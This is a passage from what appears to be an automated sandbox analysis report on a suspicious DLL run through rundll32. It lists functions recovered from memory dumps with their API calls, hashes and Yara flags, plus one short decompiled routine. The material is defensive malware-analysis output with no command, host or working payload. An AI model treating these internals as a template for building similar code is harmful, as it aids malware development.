                                            • Opcode ID: f650f3c84d94e28f2418f1d24c7674b5705f4f996a96a4ae936ce1e71d3c6f7f
                                            • Instruction ID: 468fbb0480834c7529fc6cc0a0c4e55d125db29416ed705ffc9e2f4f877dc1b3
                                            • Opcode Fuzzy Hash: f650f3c84d94e28f2418f1d24c7674b5705f4f996a96a4ae936ce1e71d3c6f7f
                                            • Instruction Fuzzy Hash: B6219D72600209BFDB119FA8CC89F9ABBEDEF18744F054063F905DF251DA70EA409BA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD2413 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,00000000,00000000,?,?,?,?), ref: 05DD2452
                                            • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 05DD2463
                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000001,00000000,?,00000000,00000000,?,?,?,?), ref: 05DD247E
                                            • GetLastError.KERNEL32(?,?,?,?), ref: 05DD2494
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?), ref: 05DD24A6
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?), ref: 05DD24BB
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$ByteCharFreeMultiWide$AllocateErrorLast
                                            • String ID:
                                            • API String ID: 1822509305-0
                                            • Opcode ID: a6a15f0e23bc1a5691c26ee69d4cf2d0a5fce4083874a6234341ee5512119463
                                            • Instruction ID: 3b395dc33e08228630ef2892672a13c04994cf614b6384e7af0ee7b819ba38f0
                                            • Opcode Fuzzy Hash: a6a15f0e23bc1a5691c26ee69d4cf2d0a5fce4083874a6234341ee5512119463
                                            • Instruction Fuzzy Hash: CA11547A901028BBDF215B95DC49CEFBF7EFF553A0B014463F919A2120CA314A95DBB0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD32BD Relevance: 9.1, APIs: 6, Instructions: 67stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenProcess.KERNEL32(00000E39,00000000,?), ref: 05DD32E5
                                            • _strupr.NTDLL ref: 05DD3320
                                            • lstrlen.KERNEL32(00000000), ref: 05DD3328
                                            • TerminateProcess.KERNEL32(00000000,00000000,?,00000000,?), ref: 05DD3367
                                            • CloseHandle.KERNEL32(00000000,00000000,00000000,?,00000104), ref: 05DD336E
                                            • GetLastError.KERNEL32 ref: 05DD3376
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CloseErrorHandleLastOpenTerminate_struprlstrlen
                                            • String ID:
                                            • API String ID: 110452925-0
                                            • Opcode ID: 38dc6a53ca3dc0331eac0b0ace7eb03eda57ca8abbaa6b6aab443ead8eda39c9
                                            • Instruction ID: 33916fa392de58f63415d20bf7f3c1e7636b3ff45808bf7786876a0a82c9854d
                                            • Opcode Fuzzy Hash: 38dc6a53ca3dc0331eac0b0ace7eb03eda57ca8abbaa6b6aab443ead8eda39c9
                                            • Instruction Fuzzy Hash: 4A118FB2610104BFDB116BBCAD8DDAFBB6DFB88660B104817F907D2240EE70C8948B71
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDA921 Relevance: 9.1, APIs: 6, Instructions: 66registrymemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyA.ADVAPI32(80000001,?), ref: 05DDA93F
                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 05DDA96D
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDA97F
                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 05DDA9A4
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DDA9BF
                                            • RegCloseKey.ADVAPI32(?), ref: 05DDA9C9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapQueryValue$AllocateCloseFreeOpen
                                            • String ID:
                                            • API String ID: 170146033-0
                                            • Opcode ID: 3f301c9c0356f3ae443076aea3146b52f67928b548d9a1428128ebb70e42db6f
                                            • Instruction ID: 2a6e8c6ccac0ba4936b0c9441d9ffd9a6bdd70aaee5b7663564224643599d777
                                            • Opcode Fuzzy Hash: 3f301c9c0356f3ae443076aea3146b52f67928b548d9a1428128ebb70e42db6f
                                            • Instruction Fuzzy Hash: A511E7B6910108FFEF119B98EC89DEEBFFDEB48200B114067B901E2214DB315A55DB20
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDB865 Relevance: 9.1, APIs: 6, Instructions: 65memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000F00,?,-00000001,00000000,?,?,?,05DD4417,?,00000000,000000FF,?,00000F00), ref: 05DDB876
                                            • lstrlen.KERNEL32(?,?,-00000001,00000000,?,?,?,05DD4417,?,00000000,000000FF,?,00000F00), ref: 05DDB87D
                                            • RtlAllocateHeap.NTDLL(00000000,00000020), ref: 05DDB88F
                                            • _snprintf.NTDLL ref: 05DDB8B5
                                              • Part of subcall function 05DDB968: memset.NTDLL ref: 05DDB97D
                                              • Part of subcall function 05DDB968: lstrlenW.KERNEL32(00000000,00000000,00000000,772FDBB0,00000020,00000000), ref: 05DDB9B6
                                              • Part of subcall function 05DDB968: wcstombs.NTDLL ref: 05DDB9C0
                                              • Part of subcall function 05DDB968: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?,00000000,772FDBB0,00000020,00000000), ref: 05DDB9F1
                                              • Part of subcall function 05DDB968: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,05DDB8C3), ref: 05DDBA1D
                                              • Part of subcall function 05DDB968: TerminateProcess.KERNEL32(?,000003E5), ref: 05DDBA33
                                              • Part of subcall function 05DDB968: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,05DDB8C3), ref: 05DDBA47
                                              • Part of subcall function 05DDB968: CloseHandle.KERNEL32(?), ref: 05DDBA7A
                                              • Part of subcall function 05DDB968: CloseHandle.KERNEL32(?), ref: 05DDBA7F
                                            • _snprintf.NTDLL ref: 05DDB8E9
                                              • Part of subcall function 05DDB968: GetLastError.KERNEL32 ref: 05DDBA4B
                                              • Part of subcall function 05DDB968: GetExitCodeProcess.KERNEL32(?,00000001), ref: 05DDBA6B
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,000000FF,00000000,000000FF,?,00000F00), ref: 05DDB906
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Processlstrlen$CloseHandleHeapMultipleObjectsWait_snprintf$AllocateCodeCreateErrorExitFreeLastTerminatememsetwcstombs
                                            • String ID:
                                            • API String ID: 1481739438-0
                                            • Opcode ID: 5e8e93cdbc79a7d1f4d381ed8e5082851b66ebdcba72b7ffccc2b5b04630f6e7
                                            • Instruction ID: 1ef42720dfa9eeaae1770a11e1f42950b356f6c57d0d088da1496f0ee3254343
                                            • Opcode Fuzzy Hash: 5e8e93cdbc79a7d1f4d381ed8e5082851b66ebdcba72b7ffccc2b5b04630f6e7
                                            • Instruction Fuzzy Hash: 70118BB6600219BFDF119FA8DC89E9E7F6DEB08364B024063FD0997211CA31DA54CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDA7BF Relevance: 9.1, APIs: 6, Instructions: 64memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000000,00000001,00000000,00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DDA7D5
                                            • RtlAllocateHeap.NTDLL(00000000,00000009,00000001), ref: 05DDA7E8
                                            • lstrcpy.KERNEL32(00000008,00000000), ref: 05DDA80A
                                            • GetLastError.KERNEL32(05DD5EAE,00000000,00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DDA833
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DDA84B
                                            • CloseHandle.KERNEL32(00000000,05DD5EAE,00000000,00000000,?,?,05DD1B71,05DD7E45,00000057,00000000), ref: 05DDA854
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateCloseErrorFreeHandleLastlstrcpylstrlen
                                            • String ID:
                                            • API String ID: 2860611006-0
                                            • Opcode ID: 6f7e9340ba1b70191bfb706e13208acd7c8ef7a68fd8502f959896220cc83d71
                                            • Instruction ID: 16ac3e026130403c619aec008939b008666ebe16d0f6d5e888d54eae1180dad9
                                            • Opcode Fuzzy Hash: 6f7e9340ba1b70191bfb706e13208acd7c8ef7a68fd8502f959896220cc83d71
                                            • Instruction Fuzzy Hash: BE115E72515209EFDB109FA8EC89DABBFB9FB40360711842BF95AD3210DB309D95CB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE66BC Relevance: 9.1, APIs: 6, Instructions: 61stringthreadtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetTempPathA.KERNEL32(00000000,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66CE
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66E7
                                            • GetCurrentThreadId.KERNEL32 ref: 05DE66F4
                                            • GetSystemTimeAsFileTime.KERNEL32(00000F00,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE6700
                                            • GetTempFileNameA.KERNEL32(00000000,00000000,00000F00,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE670E
                                            • lstrcpy.KERNEL32(00000000), ref: 05DE6730
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Temp$FilePathTime$AllocateCurrentHeapNameSystemThreadlstrcpy
                                            • String ID:
                                            • API String ID: 1175089793-0
                                            • Opcode ID: 34eb83313658092d9f750f6f9d886459c7f9d79b5c8ff072a02e6da63ba1c904
                                            • Instruction ID: 2cc71f8d995f6c20f6656c532654d9c42b0302b3e1ce3a4156504715028086d8
                                            • Opcode Fuzzy Hash: 34eb83313658092d9f750f6f9d886459c7f9d79b5c8ff072a02e6da63ba1c904
                                            • Instruction Fuzzy Hash: 33016D32A151156BDB117BAAAC8DE6B7EBCEA95A50709002BB905E7200DE70E801C7B0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEAE86 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 207COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastmemset
                                            • String ID: vids
                                            • API String ID: 3276359510-3767230166
                                            • Opcode ID: f3704aa4bb0501e5706202e2591c96f7194d39605454b7679eef34fdf00a3534
                                            • Instruction ID: a3029d62df749a98d865b672cabb90ee8ae10425bf4fa03c5d8625cf93d48429
                                            • Opcode Fuzzy Hash: f3704aa4bb0501e5706202e2591c96f7194d39605454b7679eef34fdf00a3534
                                            • Instruction Fuzzy Hash: 508117B1E1121A9FDF21EFA4C8849ADBBB9FF48710F10815BF415A7250D730A945CF60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD6E8E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DD6F18
                                            • lstrlen.KERNEL32(?,?), ref: 05DD6F49
                                            • memcpy.NTDLL(00000008,?,00000001), ref: 05DD6F58
                                            • HeapFree.KERNEL32(00000000,00000000,?), ref: 05DD6FDA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFreelstrlenmemcpy
                                            • String ID: W
                                            • API String ID: 379260646-655174618
                                            • Opcode ID: 84afeece40c335d64b3f4a68cdf718b1041e1c7ba757c5b0f2f7d1069e621ae1
                                            • Instruction ID: 1b7caeb7848ae58dd361ef1f91cf88c20fafbd1b140b01ab5c62ef01108e5e49
                                            • Opcode Fuzzy Hash: 84afeece40c335d64b3f4a68cdf718b1041e1c7ba757c5b0f2f7d1069e621ae1
                                            • Instruction Fuzzy Hash: 57417E7150860A9FCB24CFADD884BA6FBA6BB15344F04842BF98A8B211C731D585CBE5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD8E61 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 112COMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DD8F0C
                                            • FlushFileBuffers.KERNEL32(00000000,?,00000000,00000000), ref: 05DD8F79
                                            • GetLastError.KERNEL32(?,00000000,00000000), ref: 05DD8F83
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: BuffersErrorFileFlushLastmemset
                                            • String ID: K$P
                                            • API String ID: 3817869962-420285281
                                            • Opcode ID: ab524c51159dd0a1bbf56ef4b758650e3075f7b5e83ad42707f4d1bc8941f3e3
                                            • Instruction ID: 6eb9b3793eecc17bc69317e4ad2e2414375139f89e36bb097165bd364c69261a
                                            • Opcode Fuzzy Hash: ab524c51159dd0a1bbf56ef4b758650e3075f7b5e83ad42707f4d1bc8941f3e3
                                            • Instruction Fuzzy Hash: CF415B70A00605DFDB25CFB8DD84A6EFBF2FF84614F54492EE48693A82D334A544DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDF868 Relevance: 8.9, APIs: 7, Instructions: 108stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memcpy.NTDLL(?,05DD38D5,00000000,?,?,?,05DD38D5,?,?,?,?,?), ref: 05DDF8A6
                                            • lstrlen.KERNEL32(05DD38D5,?,?,?,05DD38D5,?,?,?,?,?), ref: 05DDF8C4
                                            • memcpy.NTDLL(?,?,?,?,?,?,?), ref: 05DDF933
                                            • lstrlen.KERNEL32(05DD38D5,00000000,00000000,?,?,?,05DD38D5,?,?,?,?,?), ref: 05DDF954
                                            • lstrlen.KERNEL32(03F8458B,?,?,?,?,?,?,?), ref: 05DDF968
                                            • memcpy.NTDLL(?,03F8458B,00000000,?,?,?,?,?,?,?), ref: 05DDF971
                                            • LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 05DDF97F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlenmemcpy$FreeLocal
                                            • String ID:
                                            • API String ID: 1123625124-0
                                            • Opcode ID: 5c93503b02981656bbe56bc6e4a8b99444ea52fce7fc28516e8c3286aaea19a9
                                            • Instruction ID: 67a73b28f12eb68dbd43307fb7eb485dcf54cb6c2e04c91806787c976c3e8b33
                                            • Opcode Fuzzy Hash: 5c93503b02981656bbe56bc6e4a8b99444ea52fce7fc28516e8c3286aaea19a9
                                            • Instruction Fuzzy Hash: 7141D57680021AEBDF11DF68DC4589F7FA9FF142A0B054426FD09A7210E731EE609BE1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3F7E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28sleepmemoryCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 37%
                                            			E04AB3F7E() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x4aba3cc; // 0x56295b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x4aba3cc; // 0x56295b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x4aba3cc; // 0x56295b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x4abb81a) {
					HeapFree( *0x4aba2d8, 0, _t10);
					_t7 =  *0x4aba3cc; // 0x56295b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                                            0x04ab3f7e
                                            0x04ab3f87
                                            0x04ab3f97
                                            0x04ab3f97
                                            0x04ab3f9c
                                            0x04ab3fa1
                                            0x00000000
                                            0x00000000
                                            0x04ab3f91
                                            0x04ab3f91
                                            0x04ab3fa3
                                            0x04ab3fa8
                                            0x04ab3fac
                                            0x04ab3fbf
                                            0x04ab3fc5
                                            0x04ab3fc5
                                            0x04ab3fce
                                            0x04ab3fd0
                                            0x04ab3fd4
                                            0x04ab3fda

                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(05629570), ref: 04AB3F87
                                            • Sleep.KERNEL32(0000000A), ref: 04AB3F91
                                            • HeapFree.KERNEL32(00000000), ref: 04AB3FBF
                                            • RtlLeaveCriticalSection.NTDLL(05629570), ref: 04AB3FD4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                                            • String ID: Uv
                                            • API String ID: 58946197-4002285713
                                            • Opcode ID: d18e30a8fe8a9bd442208161018359265b5d6f6386d06498081865588e80f84e
                                            • Instruction ID: e0a31bfd66e6b93a335825340ec6a993552dd9513eaacdaa7f30bc82884e6b8b
                                            • Opcode Fuzzy Hash: d18e30a8fe8a9bd442208161018359265b5d6f6386d06498081865588e80f84e
                                            • Instruction Fuzzy Hash: 7AF0D0B83007019FEB149F64D849A5637B8EB64301B044004F942DB2B2D638FC02EB91
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE8C96 Relevance: 7.7, APIs: 6, Instructions: 171stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD3AA7: ExpandEnvironmentStringsW.KERNEL32(76E106E0,00000000,00000000,76E106E0,?,80000001,05DE8CB5,?,76E106E0,05DD407B,?,?,00000000,?), ref: 05DD3AB8
                                              • Part of subcall function 05DD3AA7: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000,?,80000001,05DE8CB5,?,76E106E0,05DD407B,?,?,00000000,?), ref: 05DD3AD5
                                            • lstrlenW.KERNEL32(?,00000000,?,80000001,?,76E106E0,05DD407B,?,?,00000000,?), ref: 05DE8CE2
                                            • lstrlenW.KERNEL32(00000008,?,80000001,?,76E106E0,05DD407B,?,?,00000000,?), ref: 05DE8CE9
                                            • lstrlenW.KERNEL32(?,?,?,80000001,?,76E106E0,05DD407B,?,?,00000000,?), ref: 05DE8D07
                                            • lstrlen.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 05DE8DC5
                                            • lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 05DE8DD0
                                            • wsprintfA.USER32 ref: 05DE8E12
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                              • Part of subcall function 05DD3486: CreateFileW.KERNEL32(?,C0000000,0000FDE9,00000000,00000001,00000080,00000000,00000008,00000000,0000FDE9,?), ref: 05DD34C6
                                              • Part of subcall function 05DD3486: GetLastError.KERNEL32 ref: 05DD34D0
                                              • Part of subcall function 05DD3486: WaitForSingleObject.KERNEL32(000000C8), ref: 05DD34F5
                                              • Part of subcall function 05DD3486: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 05DD3518
                                              • Part of subcall function 05DD3486: SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 05DD3540
                                              • Part of subcall function 05DD3486: WriteFile.KERNEL32(?,00001388,?,?,00000000), ref: 05DD3555
                                              • Part of subcall function 05DD3486: SetEndOfFile.KERNEL32(?), ref: 05DD3562
                                              • Part of subcall function 05DD3486: CloseHandle.KERNEL32(?), ref: 05DD357A
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Filelstrlen$CreateEnvironmentExpandHeapStrings$AllocateCloseErrorFreeHandleLastObjectPointerSingleWaitWritewsprintf
                                            • String ID:
                                            • API String ID: 1727939831-0
                                            • Opcode ID: 1c2d07c601164f3b56639f6f52852711c763f4fd0caf6555d7ab3ad3666bb561
                                            • Instruction ID: 9e383d658222b0c8bfc60d1d6aac106e8441250853c5c544c5bf6cc9a902aa83
                                            • Opcode Fuzzy Hash: 1c2d07c601164f3b56639f6f52852711c763f4fd0caf6555d7ab3ad3666bb561
                                            • Instruction Fuzzy Hash: 21510071A1010AAFDF01AFA8DC49DAEBBBAFF44714B044067F915E7220DB36D911EB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDFEA8 Relevance: 7.7, APIs: 6, Instructions: 163COMMON
                                            Download Yara Rule
                                            APIs
                                            • memcpy.NTDLL(?,?,00000010,?,?,?,?,?,?,?,?,?,?,05DEF51A,00000000,00000000), ref: 05DDFEF9
                                            • memcpy.NTDLL(00000000,00000000,?,0000011F), ref: 05DDFF8C
                                            • GetLastError.KERNEL32(?,?,0000011F), ref: 05DDFFE4
                                            • GetLastError.KERNEL32 ref: 05DE0016
                                            • GetLastError.KERNEL32 ref: 05DE002A
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,05DEF51A,00000000,00000000,?,05DDD3E9,?), ref: 05DE003F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$memcpy
                                            • String ID:
                                            • API String ID: 2760375183-0
                                            • Opcode ID: 7c1ecec556c8a2473766121c98e6042a1b6616ee3672ab5310b74a1289d3eeb9
                                            • Instruction ID: e8b605a52b559d7c6c533e5d52c7ac93d32ef33a1bcb3a6d02428fac278a82bf
                                            • Opcode Fuzzy Hash: 7c1ecec556c8a2473766121c98e6042a1b6616ee3672ab5310b74a1289d3eeb9
                                            • Instruction Fuzzy Hash: 745160B1900249FFDF11DFA8DC88AAEBBB9FB04350F00842AF915E6240D7709E54DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE493E Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 146stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • lstrcpy.KERNEL32(?,00000020), ref: 05DE4A3B
                                            • lstrcat.KERNEL32(?,00000020), ref: 05DE4A50
                                            • lstrcmp.KERNEL32(00000000,?), ref: 05DE4A67
                                            • lstrlen.KERNEL32(?), ref: 05DE4A8B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                                            • String ID:
                                            • API String ID: 3214092121-3916222277
                                            • Opcode ID: ab4e0f0813e33ef954d643d0dd31aa9ff85cdcb1e15b4b8d71d1d747a4839fc6
                                            • Instruction ID: 83fe8791b3742d82bff4d6c2834302091eb604817dc8200a885d8597aeaac730
                                            • Opcode Fuzzy Hash: ab4e0f0813e33ef954d643d0dd31aa9ff85cdcb1e15b4b8d71d1d747a4839fc6
                                            • Instruction Fuzzy Hash: BE51B331A04218EBCF21EF99C985AADFBB6FF45328F15805BE855AB201C730EA41CB54
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD10EB Relevance: 7.6, APIs: 6, Instructions: 122stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen
                                            • String ID:
                                            • API String ID: 1659193697-0
                                            • Opcode ID: 986d40870dbf34f4aace674ceb66a26b08ae88dea883697f422260c2a93c2e9d
                                            • Instruction ID: 4f49da4312c21b7db5866a30a7ce9e462d51cad88122570591527fb4605ca5b2
                                            • Opcode Fuzzy Hash: 986d40870dbf34f4aace674ceb66a26b08ae88dea883697f422260c2a93c2e9d
                                            • Instruction Fuzzy Hash: 64410775A0120AAFCB10DFD9CC84AAEF7FAFF98204B14892AE555E3300D774E944CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEB9A1 Relevance: 7.6, APIs: 5, Instructions: 101memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlImageNtHeader.NTDLL(00000000), ref: 05DEB9BA
                                              • Part of subcall function 05DD3AEB: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000208,00000000,00000000,?,?,05DEA192), ref: 05DD3B11
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000001,?,00000000,05DED73E,00000000), ref: 05DEB9FC
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00000001), ref: 05DEBA4E
                                            • VirtualAlloc.KERNEL32(00000000,01000000,00003000,00000040,00000000,00000000,?,00000000,00000000,00000001,?,00000000,05DED73E,00000000), ref: 05DEBA67
                                              • Part of subcall function 05DD6706: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 05DD6727
                                              • Part of subcall function 05DD6706: HeapFree.KERNEL32(00000000,00000000,?,00000000,?,00000000,?,?,00000000), ref: 05DD676A
                                            • GetLastError.KERNEL32(?,00000000,05DED73E,00000000,?,?,?,?,?,?,?,05DDBF69,?), ref: 05DEBA9F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
